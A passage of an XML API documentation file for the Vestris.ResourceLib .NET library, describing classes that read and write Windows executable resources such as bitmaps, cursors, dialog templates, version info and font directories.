name=\"hModule\">Handle to a module.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the accelerator table.</param>\n            <returns>Address of the end of the accelerator table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.AcceleratorResource.ToString\">\n            <summary>\n            String representation of the accelerators resource.\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Aligned\">\n            <summary>\n            Creates an 8 bit aligned copy of the buffer if it is not already aligned\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.BitmapFile\">\n            <summary>\n            A bitmap file in a .bmp format.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.BitmapFile.Bitmap\">\n            <summary>\n            Device independent bitmap.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.BitmapFile.#ctor(System.String)\">\n            <summary>\n            An existing bitmap file.\n            </summary>\n            <param name=\"filename\">A file in a .bmp format.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.BitmapResource\">\n            <summary>\n            An embedded bitmap resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.BitmapResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing bitmap resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.BitmapResource.#ctor\">\n            <summary>\n            A new bitmap resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.BitmapResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of a resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.BitmapResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the bitmap resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.BitmapResource.Bitmap\">\n            <summary>\n            A device independent bitmap.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.CursorDirectoryResource\">\n            <summary>\n            This structure depicts the organization of data in a hardware-independent cursor resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorDirectoryResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A hardware-independent cursor resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorDirectoryResource.#ctor\">\n            <summary>\n            A new hardware-independent cursor resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorDirectoryResource.#ctor(Vestris.ResourceLib.IconFile)\">\n            <summary>\n            A new collection of cursors that can be embedded into an executable file.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.CursorResource\">\n            <summary>\n            This structure depicts the organization of data in a cursor resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing cursor resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorResource.#ctor\">\n            <summary>\n            A new cursor resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorResource.#ctor(Vestris.ResourceLib.IconFileIcon,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Convert into an icon resource that can be written into an executable.\n            </summary>\n            <param name=\"icon\">Icon image.</param>\n            <param name=\"id\">Icon Id.</param>\n            <param name=\"language\">Language.</param>\n            <returns>An icon resource.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.CursorResource.HotspotX\">\n            <summary>\n            Horizontal hotspot coordinate.\n            The hot spot of a cursor is the point to which Windows refers in tracking the cursor's position. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.CursorResource.HotspotY\">\n            <summary>\n            Vertical hot spot coordinate.\n            The hot spot of a cursor is the point to which Windows refers in tracking the cursor's position. \n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorResource.SaveIconTo(System.String)\">\n            <summary>\n            Write the cursor data to a file.\n            </summary>\n            <param name=\"filename\">Target executable file.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorResource.ReadImage(System.IntPtr,System.UInt32)\">\n            <summary>\n            Read DIB image.\n            </summary>\n            <param name=\"dibBits\">DIB bits.</param>\n            <param name=\"size\">DIB size.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DeviceIndependentBitmap\">\n            <summary>\n            A device-independent image consists of a BITMAPINFOHEADER where\n            bmWidth is the width of the image andbmHeight is double the height \n            of the image, followed by the bitmap color table, followed by the image\n            pixels, followed by the mask pixels.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Data\">\n            <summary>\n            Raw image data.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Header\">\n            <summary>\n            Bitmap info header.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Size\">\n            <summary>\n            Bitmap size in bytes.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DeviceIndependentBitmap.#ctor\">\n            <summary>\n            A new icon image.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DeviceIndependentBitmap.#ctor(System.Byte[])\">\n            <summary>\n            A device-independent bitmap.\n            </summary>\n            <param name=\"data\">Bitmap data.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DeviceIndependentBitmap.#ctor(Vestris.ResourceLib.DeviceIndependentBitmap)\">\n            <summary>\n            Create a copy of an image.\n            </summary>\n            <param name=\"image\">Source image.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DeviceIndependentBitmap.Read(System.IntPtr,System.UInt32)\">\n            <summary>\n            Read icon data.\n            </summary>\n            <param name=\"lpData\">Pointer to the beginning of icon data.</param>\n            <param name=\"size\">Icon data size.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.MaskImageSize\">\n            <summary>\n            Size of the image mask.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.XorImageIndex\">\n            <summary>\n            Position of the DIB bitmap bits within a DIB bitmap array.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.ColorCount\">\n            <summary>\n            Number of colors in the palette.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DeviceIndependentBitmap.GetDIBRowWidth(System.Int32)\">\n            <summary>\n            Returns the width of a row in a DIB Bitmap given the number of bits. DIB Bitmap rows always align on a DWORD boundary.\n            </summary>\n            <param name=\"width\">Number of bits.</param>\n            <returns>Width of a row in bytes.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Mask\">\n            <summary>\n            Bitmap monochrome mask.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Color\">\n            <summary>\n            Bitmap color (XOR) part of the image.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Image\">\n            <summary>\n            Complete image.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogExTemplate\">\n            <summary>\n            A container for the DIALOGTEMPLATEEX structure.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.CharacterSet\">\n            <summary>\n            Indicates the character set to use.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.Style\">\n            <summary>\n            Dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.ExtendedStyle\">\n            <summary>\n            Extended dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.Weight\">\n            <summary>\n            Weight of the font. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.Italic\">\n            <summary>\n            Indicates whether the font is italic.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.ControlCount\">\n            <summary>\n            Number of dialog items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplate.#ctor\">\n            <summary>\n            An extended dialog structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplate.Read(System.IntPtr)\">\n            <summary>\n            Read the dialog resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the dialog structure.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplate.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write dialog control to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplate.ToString\">\n            <summary>\n            String representation of the dialog.\n            </summary>\n            <returns>String in the DIALOGEX [dialog] format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogExTemplateControl\">\n            <summary>\n            A container for the DIALOGTEMPLATEEX structure.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.Style\">\n            <summary>\n            Dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.ExtendedStyle\">\n            <summary>\n            Extended dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.Id\">\n            <summary>\n            Control identifier.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplateControl.#ctor\">\n            <summary>\n            An extended dialog control template structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplateControl.Read(System.IntPtr)\">\n            <summary>\n            Read the dialog control.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the dialog structure.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplateControl.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the dialog control to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplateControl.ToString\">\n            <summary>\n            Return a string representation of the dialog control.\n            </summary>\n            <returns>A single line in the \"CLASS name id, dimensions and styles' format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogResource\">\n            <summary>\n            A dialog template resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogResource.Template\">\n            <summary>\n            A dialog template structure that describes the dialog.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A structured dialog resource embedded in an executable module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource handle.</param>\n            <param name=\"type\">Type of resource.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language id.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogResource.#ctor\">\n            <summary> \n            A structured dialog resource embedded in an executable module.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogResource.ToString\">\n            <summary>\n            Dialog resource in standard resource editor text format.\n            </summary>\n            <returns>Multi-line string.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogTemplate\">\n            <summary>\n            A container for the DIALOGTEMPLATE structure.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.Style\">\n            <summary>\n            Dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.ExtendedStyle\">\n            <summary>\n            Extended dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.ControlCount\">\n            <summary>\n            Number of dialog items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplate.#ctor\">\n            <summary>\n            A standard dialog structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplate.Read(System.IntPtr)\">\n            <summary>\n            Read the dialog resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the dialog structure.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplate.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the dialog template data to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplate.ToString\">\n            <summary>\n            Returns a string representation of the dialog.\n            </summary>\n            <returns>String in the DIALOG ... format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogTemplateBase\">\n            <summary>\n            A dialog template.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.Style\">\n            <summary>\n            Style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.ExtendedStyle\">\n            <summary>\n            Optional extended style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.ControlCount\">\n            <summary>\n            Number of items in this structure.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.TypeFace\">\n            <summary>\n            The name of the typeface for the font.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.PointSize\">\n            <summary>\n            Point size of the font to use for the text in the dialog box and its controls.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.Caption\">\n            <summary>\n            Dialog caption.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.MenuId\">\n            <summary>\n            Menu resource Id.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.WindowClassId\">\n            <summary>\n            Window class Id.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.Controls\">\n            <summary>\n            Controls within this dialog.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateBase.ToString\">\n            <summary>\n            Dialog template representation in a standard text format.\n            </summary>\n            <returns>Multiline string.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateBase.ToControlString\">\n            <summary>\n            String represetnation of a control.\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateBase.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogTemplateControl\">\n            <summary>\n            A container for a control within a dialog template.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.Style\">\n            <summary>\n            Dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.ExtendedStyle\">\n            <summary>\n            Extended dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.Id\">\n            <summary>\n            Control identifier.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateControl.#ctor\">\n            <summary>\n            A standard dialog control structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateControl.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the dialog control to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateControl.ToString\">\n            <summary>\n            String represetnation of a control.\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogTemplateControlBase\">\n            <summary>\n            A dialog template.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.Style\">\n            <summary>\n            Style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.ExtendedStyle\">\n            <summary>\n            Optional extended style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.CaptionId\">\n            <summary>\n            Dialog caption.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.ControlClassId\">\n            <summary>\n            Window class Id.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.ControlClass\">\n            <summary>\n            Window class of the control.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.CreationData\">\n            <summary>\n            Additional creation data.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateControlBase.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the dialog control to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogTemplateUtil\">\n            <summary>\n            Dialog template utility functions.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateUtil.ReadResourceId(System.IntPtr,Vestris.ResourceLib.ResourceId@)\">\n            <summary>\n            Read a dialog resource id.       \n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <param name=\"rc\">Resource read.</param>\n            <returns></returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateUtil.StyleToString``2(System.UInt32)\">\n            <summary>\n            String representation of the dialog or control style of two types.\n            </summary>\n            <param name=\"style\">Dialog or control style.</param>\n            <returns>String in the \"s1 | s2 | ... | s3\" format.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateUtil.StyleToString``2(System.UInt32,System.UInt32)\">\n            <summary>\n            String representation of the dialog or control styles of two types.\n            </summary>\n            <param name=\"style\">Dialog or control style.</param>\n            <param name=\"exstyle\">Dialog or control extended style.</param>\n            <returns>String in the \"s1 | s2 | ... | s3\" format.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateUtil.StyleToString``1(System.UInt32)\">\n            <summary>\n            String representation of the dialog or control style of one type.\n            </summary>\n            <param name=\"style\">Dialog or control style.</param>\n            <returns>String in the \"s1 | s2 | ... | s3\" format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DirectoryResource`1\">\n            <summary>\n            This structure depicts the organization of data in a hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DirectoryResource`1.ResourceType\">\n            <summary>\n            Returns the type of the resource in this group.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DirectoryResource`1.Icons\">\n            <summary>\n            Icons contained in this hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DirectoryResource`1.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A hardware-independent icon resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DirectoryResource`1.#ctor(Vestris.ResourceLib.Kernel32.ResourceTypes)\">\n            <summary>\n            A new hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DirectoryResource`1.SaveTo(System.String)\">\n            <summary>\n            Save a hardware-independent icon resource to an executable file.\n            </summary>\n            <param name=\"filename\">Name of an executable file (.exe or .dll).</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DirectoryResource`1.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a hardware-independent icon resource from a loaded module.\n            </summary>\n            <param name=\"hModule\">Loaded executable module.</param>\n            <param name=\"lpRes\">Pointer to the beginning of a hardware-independent icon resource.</param>\n            <returns>Pointer to the end of the hardware-independent icon resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DirectoryResource`1.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write a hardware-independent icon resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.FixedFileInfo\">\n            <summary>\n            Fixed file information.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FixedFileInfo.#ctor\">\n            <summary>\n            Default Windows fixed file information.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FixedFileInfo.Value\">\n            <summary>\n            Fixed file info structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FixedFileInfo.Read(System.IntPtr)\">\n            <summary>\n            Read the fixed file information structure.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FixedFileInfo.FileVersion\">\n            <summary>\n            String representation of the file version.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FixedFileInfo.ProductVersion\">\n            <summary>\n            String representation of the protect version.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FixedFileInfo.FileFlags\">\n            <summary>\n            Gets or sets a bitmask that specifies the Boolean attributes of the file.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FixedFileInfo.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write fixed file information to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FixedFileInfo.Size\">\n            <summary>\n            Size of the VS_FIXEDFILEINFO structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FixedFileInfo.ToString\">\n            <summary>\n            String representation of the fixed file info.\n            </summary>\n            <returns>String representation of the fixed file info.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.FontDirectoryEntry\">\n            <summary>\n            A font directory entry.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FontDirectoryEntry.FontOrdinal\">\n            <summary>\n            Font ordinal.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FontDirectoryEntry.FaceName\">\n            <summary>\n            Typeface name of the font.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FontDirectoryEntry.DeviceName\">\n            <summary>\n            Specifies the name of the device if this font file is designated for a specific device.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FontDirectoryEntry.Font\">\n            <summary>\n            Font information.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryEntry.#ctor\">\n            <summary>\n            A new font directory entry.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryEntry.Read(System.IntPtr)\">\n            <summary>\n            Read the font directory entry.\n            </summary>\n            <param name=\"lpRes\">Pointer in memory.</param>\n            <returns>Pointer to the end of the font directory entry.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryEntry.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the font directory entry to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.FontDirectoryResource\">\n            <summary>\n            A font directory, RT_FONTDIR resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FontDirectoryResource.Fonts\">\n            <summary>\n            Number of fonts in this directory.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryResource.#ctor\">\n            <summary>\n            A new font resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing font resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the font resource.\n            </summary>\n            <param name=\"hModule\">Handle to a module.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the font structure.</param>\n            <returns>Address of the end of the font structure.</returns>\n        </member>\n        